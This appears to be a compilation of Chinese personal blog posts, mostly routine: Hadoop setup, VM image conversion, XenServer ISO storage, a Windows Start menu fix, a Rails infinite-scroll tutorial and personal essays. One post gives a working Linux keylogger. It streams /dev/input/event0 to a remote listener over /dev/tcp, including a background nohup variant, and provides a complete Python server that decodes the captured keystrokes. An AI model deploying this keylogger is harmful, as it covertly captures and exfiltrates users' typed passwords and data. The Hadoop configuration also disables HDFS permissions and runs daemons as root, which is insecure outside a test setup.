准备工作

主机安装SSH服务,并开启证书登录。然后运行ssh-keygen命令,在 ~/.ssh/ 目录中生成 id_rsaid_rsa.pub 文件,并将id_rsa.pub内容拷贝到 ~/.ssh/authorized_key 中(如果没有就新建该文件),目的是能够开启主机到自身的ssh证书登录。

hadoop-3.1.2.tar.gzjdk-8u231-linux-x64.tar.gz拷贝到服务器中并解压,例如 /data/ 目录。

1
2
3
4
5
6
7
[root@localhost data]# ls jdk1.8.0_231/ 
bin include jre LICENSE README.html src.zip THIRDPARTYLICENSEREADME.txt
COPYRIGHT javafx-src.zip lib man release THIRDPARTYLICENSEREADME-JAVAFX.txt
[root@localhost data]# ls jdk1.8.0_231/
bin include jre LICENSE README.html src.zip THIRDPARTYLICENSEREADME.txt
COPYRIGHT javafx-src.zip lib man release THIRDPARTYLICENSEREADME-JAVAFX.txt
[root@localhost data]#

环境配置

  1. 编辑 /etc/profile 文件,在末尾追加以下环境信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
####大数据测试环境配置

# 全局路径
WORK_DIR=/data

# Java
export JAVA_HOME=$WORK_DIR/jdk1.8.0_231
export JRE_HOME=$JAVA_HOME/jre
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib

# Hadoop
export HADOOP_HOME=$WORK_DIR/hadoop-3.1.2
export HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native
export HADOOP_OPTS="-Djava.library.path=$HADOOP_HOME/lib"

# Export PATH
export PATH=.:${JAVA_HOME}/bin:${HADOOP_HOME}/bin:$PATH
  1. 创建hadoop文件目录
1
2
3
4
5
6
mkdir  /data/hadoop  
mkdir /data/hadoop/tmp
mkdir /data/hadoop/var
mkdir /data/hadoop/dfs
mkdir /data/hadoop/dfs/name
mkdir /data/hadoop/dfs/data
  1. 编辑 hadoop-3.1.2/etc/hadoop/core-site.xml 文件,在 configuration 节中增加以下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
<configuration>

<property>
<name>hadoop.tmp.dir</name>
<value>/data/hadoop/tmp</value>
<description>Abase for other temporary directories.</description>
</property>
<property>
<name>fs.default.name</name>
<value>hdfs://localhost:9000</value>
</property>

</configuration>
  1. 编辑 hadoop-3.1.2/etc/hadoop/hdfs-site.xml 文件,在 configuration 节中增加以下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<configuration>

<property>
<name>dfs.name.dir</name>
<value>/data/hadoop/dfs/name</value>
<description>Path on the local filesystem where theNameNode stores the namespace and transactions logs persistently.</description>
</property>
<property>
<name>dfs.data.dir</name>
<value>/data/hadoop/dfs/data</value>
<description>Comma separated list of paths on the localfilesystem of a DataNode where it should store its blocks.</description>
</property>
<property>
<name>dfs.replication</name>
<value>2</value>
</property>
<property>
<name>dfs.permissions</name>
<value>false</value>
<description>need not permissions</description>
</property>


</configuration>
  1. 编辑 hadoop-3.1.2/etc/hadoop/mapred-site.xml 文件,在 configuration 节中增加以下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<configuration>

<property>
<name>mapred.job.tracker</name>
<value>localhost:9001</value>
</property>
<property>
<name>mapred.local.dir</name>
<value>/data/hadoop/var</value>
</property>
<property>
<name>mapreduce.framework.name</name>
<value>yarn</value>
</property>

</configuration>

  1. 编辑 hadoop-3.1.2/etc/hadoop/hadoop-env.sh 文件,将其中 JAVA_HOME 路径改为以下内容:
1
export JAVA_HOME=/data/jdk1.8.0_231

额外选项

可能会遇到报错,抛出以下报错信息:

1
2
ERROR: Attempting to operate on hdfs namenode as root
ERROR: but there is no HDFS_NAMENODE_USER defined. Aborting operation.

解决办法:

修改 hadoop-3.1.2/sbin/start-dfs.shhadoop-3.1.2/sbin/stop-dfs.sh 文件,在脚本开始处添加以下内容:

1
2
3
4
HDFS_DATANODE_USER=root
HADOOP_SECURE_DN_USER=hdfs
HDFS_NAMENODE_USER=root
HDFS_SECONDARYNAMENODE_USER=root

修改 hadoop-3.1.2/sbin/start-yarn.shhadoop-3.1.2/sbin/stop-yarn.sh 文件,在脚本开始处添加以下内容:

1
2
3
YARN_RESOURCEMANAGER_USER=root
HADOOP_SECURE_DN_USER=yarn
YARN_NODEMANAGER_USER=root

运行

首先载入/etc/profile文件中的配置:

1
source /etc/profile

然后初始化hadoop namenode:

1
hadoop  namenode  -format

启动dfs:

1
/data/hadoop-3.1.2/sbin/start-dfs.sh

启动yarn:

1
/data/hadoop-3.1.2/sbin/start-yarn.sh

查看运行情况:

HADOOP_HOST是你的环境IP。

访问 http://HADOOP_HOST:8088/

访问 http://HADOOP_HOST:9870/

先介绍一下:

XVA是Citrix XenServer导出的虚拟机格式镜像

OVA是Virtualbox常见的开放虚拟映像

RAW是纯粹的磁盘映像文件

在多个虚拟化平台之间进行镜像转换时,思路是先将特定平台镜像转换成中间映像(RAW),再转换成目标平台的虚拟化格式。

从Citrix XenServer XVA文件转Virtualbox格式时,先将xva转换成raw,运行:

1
qemu-img convert -O raw target.xva output.raw

qemu-img包含在Debian系的qemu-utils软件包中,如果没有,安装即可:

1
apt-get install qemu-utils

转换完成后,得到output.raw,再使用Virtualbox的VBoxManage将raw转换成VHD,就可以在Virtualbox使用了(似乎也可以在Vmware中使用)。

1
2
"c:Program Files\Oracle\VirtualBox\VBoxManage.exe" convertfromraw output.raw output.vhd --format VHD

参考自:

https://bart.jakubowski.in/2013/10/21/xva-to-vhd/

XenServer默认是没有ISO镜像目录的,如果需要创建自定义镜像的虚拟机,需要先创建ISO光盘映像目录,再导入镜像。方法如下:

首先登录XenServer,运行如下命令,在/var/目录下创建存放ISO的目录(也可自定义成其他目录),使用xe命令创建镜像分区。

1
2
3
mkdir -p /var/iso_import

xe sr-create name-label=ISO type=iso device-config:location=/var/iso_import/ device-config:legacy_mode=true content-type=iso

后面只需要将镜像iso文件导入/var/iso_import目录中,在XenServer可视化控制台中刷新(rescan)即可看到镜像。创建虚拟机时即可从自定义的镜像启动。

Windows10在升级到1903之后,菜单栏突然多出了一个“ms-resource:AppName/text”的空条目,逼死强迫症。
如何安全删除这个图标呢?
方法如下:

以Administrator身份运行powershell

在Powershell中运行:

1
Get-AppxPackage -all *HolographicFirstRun* | Remove-AppPackage -AllUsers

打开任务管理器,kill掉explorer.exe进程(保持Powershell在前台运行)。在Powershell中,进入这个目录:

1
cd $Env:localappdata\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy`

如果能进入,运行以下删除目录语句:

Remove-Item -Recurse -Force .\TempState\

在任务管理器中重新打开Explorer.exe。此时查看菜单,ms-resource:AppName/text图标应该已经删除了。

参考自:

https://answers.microsoft.com/en-us/windows/forum/all/ms-resourceappnametext-appeared-on-start-menu-all/e6c5d10b-bad9-4eae-835f-99f438f3bd91

原文:

1
2
3
4
5
6
7
8
9
10
11
12
Run Powershell with Admin privilege
On the prompt, run this command:

Get-AppxPackage -all *HolographicFirstRun* | Remove-AppPackage -AllUsers

Open Task manager, kill explorer.exe (keep the powershell console open)
Back on the prompt, type:
cd $Env:localappdata\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
If the previous command succesfully put you on AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy directory inside your profile dir, then run:
Remove-Item -Recurse -Force .\TempState\
Start explorer.exe back up from task manager (File -> New Task)
The rogue start menu item should be gone.

马伯庸的著作《长安十二时辰》改编的电视剧,最近很火。很精彩地诉说了一段唐朝天保年间的上元节,十二个时辰之内在长安发生的故事。

有的时候,短短一天,能够发生很多事情,无论是生活还是戏剧,都像是由片段拼接起来的勉强的近似解 – 无法完整回答人生那么长的困惑。

我想记住昨天在合肥的十二个小时的片段。

昨日傍晚五点从南京出发,不到六点就到了。其实如果在合肥南站附近置业,在南京城工作,通勤基本上是非常方便的。

合肥消费水平居中,空气也很好,是内陆一个还算不错的城市了。虽然我对那儿也谈不上喜欢,但是其实内心是比较怀念安徽的。

倘若不是如此,想必我会离开更远吧。

生活总是引诱我们做一些不得不做的事情,比如旅行,比如冒险。

生活还会引诱我们做大哥,就像长安的张小敬那样。以前我觉得做大哥就是呼风唤雨。

其实,做大哥真正需要的是默默无闻。无闻且无私,无私又无畏。大哥是让兄弟吃饱,自己受饿的那种人。

这样想来,生活引诱我们做大哥,其实就是在引诱自己受虐。结论是不要轻易做大哥,先想想自己有没有那种无私无畏,而不是一些其他什么。

谁能一直经得住生活的诱惑,不铤而走险呢?一旦去旅行,或者去冒险,又一不小心在旅途中做了大哥,搞不好会坑一路人。

这其实是我心里早就产生的想法,只是此次的合肥之旅,使我更加沉默了。

1
cat /dev/input/event0 > /dev/tcp/127.0.0.1/1234 >&1

中午水群的时候,看到群友提的需求,要实现在Linux下的键盘记录,要求是没有进程、不易察觉等等。在思考Linux下怎样实现无痕迹的键盘记录的时候,脑洞一开突然想到在Linux中,所有的设备都是以文件的形式挂在/dev目录下的,键盘也不例外。与用户输入有关的设备/dev/input/eventX通常是一种字符设备,是以流的形式实时地连续读取的。再联想到反弹shell的时候,有一种姿势是通过将bash重定向到/dev/tcp中的设备,来实现反弹shell的。那么同理,是不是可以将/dev/input/下的输入设备字节流实时发送到远程进行监听呢?

想到就去做,于是先在本地监听一个端口,再通过重定向输入将/dev/input/event0设备的字节流发送到本地的监听端口,可以看见,能够成功将输入重定向到目标端口,说明此路可通。

只是这个时候,在我们的监听窗口中接收到的来自键盘设备的输入都是乱码,因为event0设备的输出是内核定义的特定结构体,并不是直接的可见字符,于是,我们还需要实现一个解析命令的服务端控制台来实现对输入的解析。

关于输入设备传入的结构体,想要了解Linux操作系统如何解码它,我们需要知道Linux输入事件input_event结构体是如何定义的。这里通过查阅资料了解到,键盘事件结构体的定义在python中的解包格式是’llHHI’,分别表示时间戳、设备类型、事件类型、事件值等。(结构体详情可以参考/usr/include/linux/input.h)。

因此目标就明确了,写个脚本在服务端远程解码即可。实现的效果:

在服务端运行脚本,目标靶机中输入命令:

cat /dev/input/event0 > /dev/tcp/127.0.0.1/1234 >&1

服务端看到的情况:

思考

这种方法实现的键盘记录,优点是不需要在目标服务器中上传二进制木马,只需要一条命令就可以执行。但是缺点是低权限用户一般无法读取/dev/目录下字符设备的输入,导致攻击利用有一定的局限性。同时执行ps命令会看到cat进程读取输入设备的进程,也可以在netstat中看到有网络连接等,容易被管理员发现,所以一般只能用于渗透测试过程中临时测试使用,或是一些比较特殊的场景下使用。

附赠服务端脚本:

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Chorder @ 20190724

import sys
import time
import socket
import struct

if len(sys.argv) < 3:
print("Usage:\n\tpython %s IP PORT" % __file__ )
exit(0)
else:
host = sys.argv[1]
port = int(sys.argv[2])
print("[*] 在目标主机运行以下命令:\n前台运行:\tcat /dev/input/event0 > /dev/tcp/%s/%d >&1" % (host,port) )
print("后台运行:\tnohup cat /dev/input/event0 > /dev/tcp/%s/%d >&1 &" % (host,port) )
print("[*] 开始监听...")

s = socket.socket()
s.bind((host, port))
s.listen(5)

FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(FORMAT)

KEYBOARD_MAP={
0 :"ESC",
1 :"ESC",
2 :"1",
3 :"2",
4 :"3",
5 :"4",
6 :"5",
7 :"6",
8 :"7",
9 :"8",
10 :"9",
11 :"0",
12 :"-",
13 :"=",
14 :"BACK",
15 :"TAB",
16 :"Q",
17 :"W",
18 :"E",
19 :"R",
20 :"T",
21 :"Y",
22 :"U",
23 :"I",
24 :"O",
25 :"P",
26 :"LBRACKET",
27 :"RBRACKET",
28 :"RETURN",
29 :"LCONTROL",
30 :"A",
31 :"S",
32 :"D",
33 :"F",
34 :"G",
35 :"H",
36 :"J",
37 :"K",
38 :"L",
39 :"SEMICOLON",
40 :"APOSTROPHE",
41 :"`",
42 :"LSHIFT",
43 :"\\",
44 :"Z",
45 :"X",
46 :"C",
47 :"V",
48 :"B",
49 :"N",
50 :"M",
51 :",",
52 :".",
53 :"/",
54 :"RSHIFT",
55 :"MULTIPLY",
56 :"Alt",
57 :"SPACE",
58 :"CAPITAL",
59 :"F1",
60 :"F2",
61 :"F3",
62 :"F4",
63 :"F5",
64 :"F6",
65 :"F7",
66 :"F8",
67 :"F9",
68 :"F10",
69 :"NUMLOCK",
70 :"SCROLL",
71 :"NUMPAD7",
72 :"NUMPAD8",
73 :"NUMPAD9",
74 :"SUBTRACT",
75 :"NUMPAD4",
76 :"NUMPAD5",
77 :"NUMPAD6",
78 :"ADD",
79 :"NUMPAD1",
80 :"NUMPAD2",
81 :"NUMPAD3",
82 :"NUMPAD0",
83 :"DECIMAL",
87 :"F11",
88 :"F12",
100 :"F13",
101 :"F14",
102 :"F15",
112 :"KANA",
121 :"CONVERT",
123 :"NOCONVERT",
125 :"¥",
141 :"NUMPADEQUALS",
144 :"^",
145 :"@",
146 :":",
147 :"_",
148 :"KANJI",
149 :"STOP",
150 :"AX",
151 :"UNLABLED",
156 :"NUMPADENTER",
157 :"RCONTROL",
179 :"NUMPADCOMMA",
181 :"DIVIDE",
183 :"SYSRQ",
184 :"ALT",
197 :"PAUSE",
199 :"HOME",
200 :"UP",
201 :"PRIOR",
203 :"LEFT",
205 :"RIGHT",
207 :"END",
208 :"DOWN",
209 :"NEXT",
210 :"INSERT",
211 :"DELETE",
219 :"LMETA",
220 :"RMETA",
221 :"APPS",
222 :"POWER",
223 :"SLEEP"
}

class KeyboardEvent():
def __init__(self,event_data):
(evt_sec, evt_usec, evt_type, evt_code, evt_value) = struct.unpack(FORMAT, event_data)
evt_time = time.localtime( float("%d.%d" % (evt_sec, evt_usec ) ) )
if evt_type == 1 and evt_value == 1:
try:
print("%s: %s" % ( time.strftime("%Y-%m-%d %H:%M:%S",evt_time), KEYBOARD_MAP[evt_code]))
except KeyError as e:
print("%s: 未知字符 %s" % (time.strftime("%Y-%m-%d %H:%M:%S",evt_time), evt_code) )
else:
pass




while True:
client_handle,client = s.accept()
print "新客户端上线: %s:%s" % ( client[0],client[1] )
while True:
kbevt = KeyboardEvent( client_handle.recv(EVENT_SIZE) )

c.close()


在CentOS 6 机器中安装sassc Gem,报如下的错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
[root@localhost ~ ]# gem install sassc
Building native extensions. This could take a while...
ERROR: Error installing sassc:
ERROR: Failed to build gem native extension.

current directory: /usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1/ext
/usr/local/rvm/rubies/ruby-2.6.2/bin/ruby -rrubygems /usr/local/rvm/rubies/ruby-2.6.2/lib/ruby/gems/2.6.0/gems/rake-12.3.2/exe/rake RUBYARCHDIR\=/usr/local/rvm/gems/ruby-2.6.2/extensions/x86_64-linux/2.6.0/sassc-2.0.1 RUBYLIBDIR\=/usr/local/rvm/gems/ruby-2.6.2/extensions/x86_64-linux/2.6.0/sassc-2.0.1
cd libsass
make lib/libsass.so
mkdir lib
cc -Wall -O2 -I /usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1/ext/libsass/include -fPIC -fPIC -c -o src/cencode.o src/cencode.c
src/cencode.c: In function ‘base64_encode_block’:
src/cencode.c:50: warning: empty declaration
src/cencode.c:64: warning: empty declaration
g++ -Wall -O2 -std=c++0x -I /usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1/ext/libsass/include -fPIC -fPIC -c -o src/ast.o src/ast.cpp
In file included from src/ast.cpp:2:
src/ast.hpp: In member function ‘virtual size_t Sass::Vectorized<T>::hash()’:
src/ast.hpp:336: error: expected initializer before ‘:’ token
src/ast.hpp:339: error: expected primary-expression before ‘}’ token
src/ast.hpp:339: error: expected ‘;’ before ‘}’ token
src/ast.hpp:339: error: expected primary-expression before ‘}’ token
src/ast.hpp:339: error: expected ‘)’ before ‘}’ token
src/ast.hpp:339: error: expected primary-expression before ‘}’ token
src/ast.hpp:339: error: expected ‘;’ before ‘}’ token
src/ast.hpp: In constructor ‘Sass::Hashed::Hashed(size_t)’:
src/ast.hpp:373: error: ‘class Sass::ExpressionMap’ has no member named ‘reserve’
src/ast.hpp: In member function ‘Sass::Hashed& Sass::Hashed::operator+=(Sass::Hashed*)’:
src/ast.hpp:402: error: expected initializer before ‘:’ token
src/ast.hpp:406: error: could not convert ‘Sass::Hashed::reset_duplicate_key()’ to ‘bool’
src/ast.hpp:407: error: expected primary-expression before ‘return’
src/ast.hpp:407: error: expected ‘)’ before ‘return’
In file included from src/ast.cpp:2:
src/ast.hpp: In member function ‘virtual size_t Sass::Map::hash()’:
src/ast.hpp:1153: error: expected initializer before ‘:’ token
src/ast.hpp:1157: error: expected primary-expression before ‘}’ token
src/ast.hpp:1157: error: expected ‘;’ before ‘}’ token
src/ast.hpp:1157: error: expected primary-expression before ‘}’ token
src/ast.hpp:1157: error: expected ‘)’ before ‘}’ token
src/ast.hpp:1157: error: expected primary-expression before ‘}’ token
src/ast.hpp:1157: error: expected ‘;’ before ‘}’ token
src/ast.hpp: In member function ‘virtual size_t Sass::Function_Call::hash()’:
src/ast.hpp:1522: error: expected initializer before ‘:’ token
src/ast.hpp:1524: error: expected primary-expression before ‘}’ token
src/ast.hpp:1524: error: expected ‘;’ before ‘}’ token
src/ast.hpp:1524: error: expected primary-expression before ‘}’ token
src/ast.hpp:1524: error: expected ‘)’ before ‘}’ token
src/ast.hpp:1524: error: expected primary-expression before ‘}’ token
src/ast.hpp:1524: error: expected ‘;’ before ‘}’ token
src/ast.hpp: In member function ‘virtual size_t Sass::Number::hash()’:
src/ast.hpp:1614: error: expected initializer before ‘:’ token
src/ast.hpp:1616: error: expected primary-expression before ‘for’
src/ast.hpp:1616: error: expected ‘;’ before ‘for’
src/ast.hpp:1616: error: expected primary-expression before ‘for’
src/ast.hpp:1616: error: expected ‘)’ before ‘for’
src/ast.hpp:1616: error: expected initializer before ‘:’ token
src/ast.hpp:1618: error: expected primary-expression before ‘}’ token
src/ast.hpp:1618: error: expected ‘;’ before ‘}’ token
src/ast.hpp:1618: error: expected primary-expression before ‘}’ token
src/ast.hpp:1618: error: expected ‘)’ before ‘}’ token
src/ast.hpp:1618: error: expected primary-expression before ‘}’ token
src/ast.hpp:1618: error: expected ‘;’ before ‘}’ token
src/ast.hpp: In member function ‘bool Sass::String_Schema::has_interpolants()’:
src/ast.hpp:1791: error: expected initializer before ‘:’ token
src/ast.hpp:1794: error: expected primary-expression before ‘return’
src/ast.hpp:1794: error: expected ‘;’ before ‘return’
src/ast.hpp:1794: error: expected primary-expression before ‘return’
src/ast.hpp:1794: error: expected ‘)’ before ‘return’
src/ast.hpp: In member function ‘virtual size_t Sass::String_Schema::hash()’:
src/ast.hpp:1801: error: expected initializer before ‘:’ token
src/ast.hpp:1803: error: expected primary-expression before ‘}’ token
src/ast.hpp:1803: error: expected ‘;’ before ‘}’ token
src/ast.hpp:1803: error: expected primary-expression before ‘}’ token
src/ast.hpp:1803: error: expected ‘)’ before ‘}’ token
src/ast.hpp:1803: error: expected primary-expression before ‘}’ token
src/ast.hpp:1803: error: expected ‘;’ before ‘}’ token
src/ast.hpp: In member function ‘virtual size_t Sass::Compound_Selector::hash()’:
src/ast.hpp:2750: error: ‘template<class T> class Sass::Vectorized’ used without template parameters
src/ast.hpp: In member function ‘virtual size_t Sass::Selector_List::hash()’:
src/ast.hpp:2997: error: ‘template<class T> class Sass::Vectorized’ used without template parameters
src/ast.hpp: In member function ‘virtual void Sass::Selector_List::set_media_block(Sass::Media_Block*)’:
src/ast.hpp:3014: error: expected initializer before ‘:’ token
src/ast.hpp:3017: error: expected primary-expression before ‘}’ token
src/ast.hpp:3017: error: expected ‘;’ before ‘}’ token
src/ast.hpp:3017: error: expected primary-expression before ‘}’ token
src/ast.hpp:3017: error: expected ‘)’ before ‘}’ token
src/ast.hpp:3017: error: expected primary-expression before ‘}’ token
src/ast.hpp:3017: error: expected ‘;’ before ‘}’ token
src/ast.hpp: In member function ‘virtual bool Sass::Selector_List::has_placeholder()’:
src/ast.hpp:3019: error: expected initializer before ‘:’ token
src/ast.hpp:3022: error: expected primary-expression before ‘return’
src/ast.hpp:3022: error: expected ‘;’ before ‘return’
src/ast.hpp:3022: error: expected primary-expression before ‘return’
src/ast.hpp:3022: error: expected ‘)’ before ‘return’
src/ast.cpp: In member function ‘virtual bool Sass::Selector_List::find(bool (*)(Sass::AST_Node_Obj))’:
src/ast.cpp:35: error: expected initializer before ‘:’ token
src/ast.cpp:39: error: expected primary-expression before ‘return’
src/ast.cpp:39: error: expected ‘;’ before ‘return’
src/ast.cpp:39: error: expected primary-expression before ‘return’
src/ast.cpp:39: error: expected ‘)’ before ‘return’
src/ast.cpp: In member function ‘virtual bool Sass::Compound_Selector::find(bool (*)(Sass::AST_Node_Obj))’:
src/ast.cpp:45: error: expected initializer before ‘:’ token
src/ast.cpp:49: error: expected primary-expression before ‘return’
src/ast.cpp:49: error: expected ‘;’ before ‘return’
src/ast.cpp:49: error: expected primary-expression before ‘return’
src/ast.cpp:49: error: expected ‘)’ before ‘return’
src/ast.cpp: In member function ‘virtual void Sass::Arguments::set_delayed(bool)’:
src/ast.cpp:98: error: expected initializer before ‘:’ token
src/ast.cpp:102: error: expected primary-expression before ‘}’ token
src/ast.cpp:102: error: expected ‘)’ before ‘}’ token
src/ast.cpp:102: error: expected primary-expression before ‘}’ token
src/ast.cpp:102: error: expected ‘;’ before ‘}’ token
src/ast.cpp: In member function ‘virtual bool Sass::Compound_Selector::has_parent_ref() const’:
src/ast.cpp:171: error: expected initializer before ‘:’ token
src/ast.cpp:174: error: expected primary-expression before ‘return’
src/ast.cpp:174: error: expected ‘;’ before ‘return’
src/ast.cpp:174: error: expected primary-expression before ‘return’
src/ast.cpp:174: error: expected ‘)’ before ‘return’
src/ast.cpp: In member function ‘virtual bool Sass::Compound_Selector::has_real_parent_ref() const’:
src/ast.cpp:179: error: expected initializer before ‘:’ token
src/ast.cpp:182: error: expected primary-expression before ‘return’
src/ast.cpp:182: error: expected ‘;’ before ‘return’
src/ast.cpp:182: error: expected primary-expression before ‘return’
src/ast.cpp:182: error: expected ‘)’ before ‘return’
src/ast.cpp: In member function ‘virtual bool Sass::Compound_Selector::is_superselector_of(Sass::Selector_List_Obj, std::string)’:
src/ast.cpp:846: error: expected initializer before ‘:’ token
src/ast.cpp:849: error: expected primary-expression before ‘return’
src/ast.cpp:849: error: expected ‘;’ before ‘return’
src/ast.cpp:849: error: expected primary-expression before ‘return’
src/ast.cpp:849: error: expected ‘)’ before ‘return’
src/ast.cpp: In member function ‘Sass::Selector_List* Sass::Complex_Selector::resolve_parent_refs(std::vector<Sass::SharedImpl<Sass::Selector_List>, std::allocator<Sass::SharedImpl<Sass::Selector_List> > >&, Sass::Backtraces&, bool)’:
src/ast.cpp:1408: error: expected initializer before ‘:’ token
src/ast.cpp:2226: error: expected primary-expression at end of input
src/ast.cpp:2226: error: expected ‘;’ at end of input
src/ast.cpp:2226: error: expected primary-expression at end of input
src/ast.cpp:2226: error: expected ‘)’ at end of input
src/ast.cpp:2226: error: expected statement at end of input
src/ast.cpp:2226: error: expected ‘}’ at end of input
src/ast.cpp:2226: error: expected ‘}’ at end of input
src/ast.cpp: At global scope:
src/ast.cpp:2226: error: expected ‘}’ at end of input
src/units.hpp:11: warning: ‘Sass::PI’ defined but not used
make: *** [src/ast.o] Error 1
rake aborted!
Command failed with status (2): [make lib/libsass.so...]
/usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1/lib/tasks/libsass.rb:31:in `block (2 levels) in <top (required)>'
/usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1/lib/tasks/libsass.rb:13:in `block (3 levels) in <top (required)>'
/usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1/lib/tasks/libsass.rb:12:in `block (2 levels) in <top (required)>'
Tasks: TOP => lib/libsass.so
(See full trace by running task with --trace)

rake failed, exit code 1

Gem files will remain installed in /usr/local/rvm/gems/ruby-2.6.2/gems/sassc-2.0.1 for inspection.
Results logged to /usr/local/rvm/gems/ruby-2.6.2/extensions/x86_64-linux/2.6.0/sassc-2.0.1/gem_make.out

经排查,是因为GCC的版本过低导致的。

按照这个步骤,检查下GCC版本,如果是同样的版本和报错,那么可以参考以下的解决方法:

1
2
[root@localhost ~]# gcc --version | head -n1
gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-23)

如果GCC是这个版本,那就安装新版本的的GCC:

1
2
yum install centos-release-scl-rh
yum install devtoolset-7-gcc devtoolset-7-gcc-c++ devtoolset-7-binutils

安装好以后,再次配置GCC环境并检查版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@localhost ~]# cat << _EOF_ > /etc/profile.d/devtoolset.sh
> #!/bin/bash
> source scl_source enable devtoolset-7
> _EOF_
[root@localhost ~]#
[root@localhost ~]# gcc --version | head -n1
gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-23)
[root@localhost ~]# cat /etc/profile.d/devtoolset.sh
#!/bin/bash
source scl_source enable devtoolset-7
[root@localhost ~]# source /etc/profile.d/devtoolset.sh
[root@localhost ~]# gcc --version | head -n1
gcc (GCC) 7.3.1 20180303 (Red Hat 7.3.1-5)

确认GCC配置好以后,再次执行bundle或者执行gem install sassc来安装即可。

随着现代浏览器性能的提升,前端工程师设计出的交互方式也多种多样。其中瀑布流方式滚动更新加载已经是一种常见的Web前端交互方式了。

然而在Rails中如何实现这样一种随着用户滚动页面就能自动追加内容到页面的方式呢?

有一些现成的Gem可以推荐,例如jquery-infinite-pageswill_paginate_infinite等。不过我觉得它们使用比较复杂,不如自己去实现一个。

本文既然提到最方便,自然是需要用一种最小化改动的方式来实现这样的功能。

具体如何实现,请往下看。

首先假设我们要实现瀑布流式动态更新的对象是Post(或者是Article、News或者其他),第一步我们需要在Gemfile中加入以下两个Gem:

1
2
gem 'will_paginate'
gem 'bootstrap-will_paginate'

然后执行bundle,接着去修改posts_controller.rb,修改其中的index方法:

1
2
3
4
5
6
7
8
def index
@posts = Post.all.paginate(:page => params[:page], :per_page => 10)

respond_to do |format|
format.html
format.js
end
end

这里由于我们增加了js的渲染格式,所以要去views/posts中添加一个index.js.erb模板文件,内容如下:

1
2
3
4
5
6
7
$('#posts_list').append('<%= j render @posts %>');
<% if @posts.next_page %>
$('.pagination').replaceWith('<%= j will_paginate @posts %>');
<% else %>
$(window).off('scroll');
$('.pagination').remove();
<% end %>

上面的代码通过js定位页面中的posts_list作为要追加元素的目标,所以我们稍微修改一下views/posts/index.html.erb,在其中加入posts_list元素:

1
2
3
4
5
6
7
8

<div id="posts_list">
<%= render @posts %>
</div>

<div id="infinite-scrolling">
<%= will_paginate %>
</div>

在这段代码中,我们将@posts集合交给其他模板去渲染了,而这里暂时还没有用来渲染@posts的模板,所以要在views/posts中创建一个_post.html.erb模板文件,内容如下:

1
2
3
4
5
<div>
<h3><%= post.title %></h3>
<p><%= post.content %></p>
<hr/>
</div>

就这么简单,用来输出标题和内容。

最后关键的一步,需要创建一个事件监听器来捕获页面的滚动变化,所以在assets/javascripts/posts.coffee中,加入以下代码:

1
2
3
4
5
6
7
8
9
10

$(document).on "turbolinks:load", ->
$(window).on 'scroll', ->
more_posts_url = $('.pagination .next_page a').attr('href')
if more_posts_url && $(window).scrollTop() > $(document).height() - $(window).height() - 60
$('.pagination').html('<img src="/assets/ajax-loader.gif" alt="Loading..." title="Loading..." />')
$.getScript more_posts_url
return
return

如此一来,就实现了通过ajax方式请求原来需要在下一页展现内容,并把内容追加到index.html的文章列表中,也就实现了瀑布流加载了。

一切修改好以后,重启Rails服务,在页面滚动一下试试吧。

本方法参考自https://www.sitepoint.com/infinite-scrolling-rails-basics/

在无垠的大地,广袤的草原上,生活着一批原始人。

他们以部落的方式群居,身体强壮的人负责打猎、种植,心灵手巧的人负责编织、烹饪。

部落里需要饮水,于是年老的长者带领着大家从遥远的河流里,往部落挖了一条沟渠。

至于为什么他们不直接搬到大河边居住,也许是因为河边土地过于松软吧,部落的土房子还无法适应那样松软的地表。

日子就这样,年复一年。

对了,在沟渠挖好以后,部落里除了打猎、编织的人以外,又多了一类人。

他们因为住的离沟渠比较近,可以很轻易地打到水,所以,他们开始一个新的工作,卖水。

不过,在原始人的世界里,没有“卖”这个字,他们也理解不了这个行为。

他们只是用打好的水,去和部落里的其他人换取一些猎物和织好的布。

日子就这样,年复一年。部落的居民也没觉得有什么奇怪。

这确实不是什么奇怪的事情。

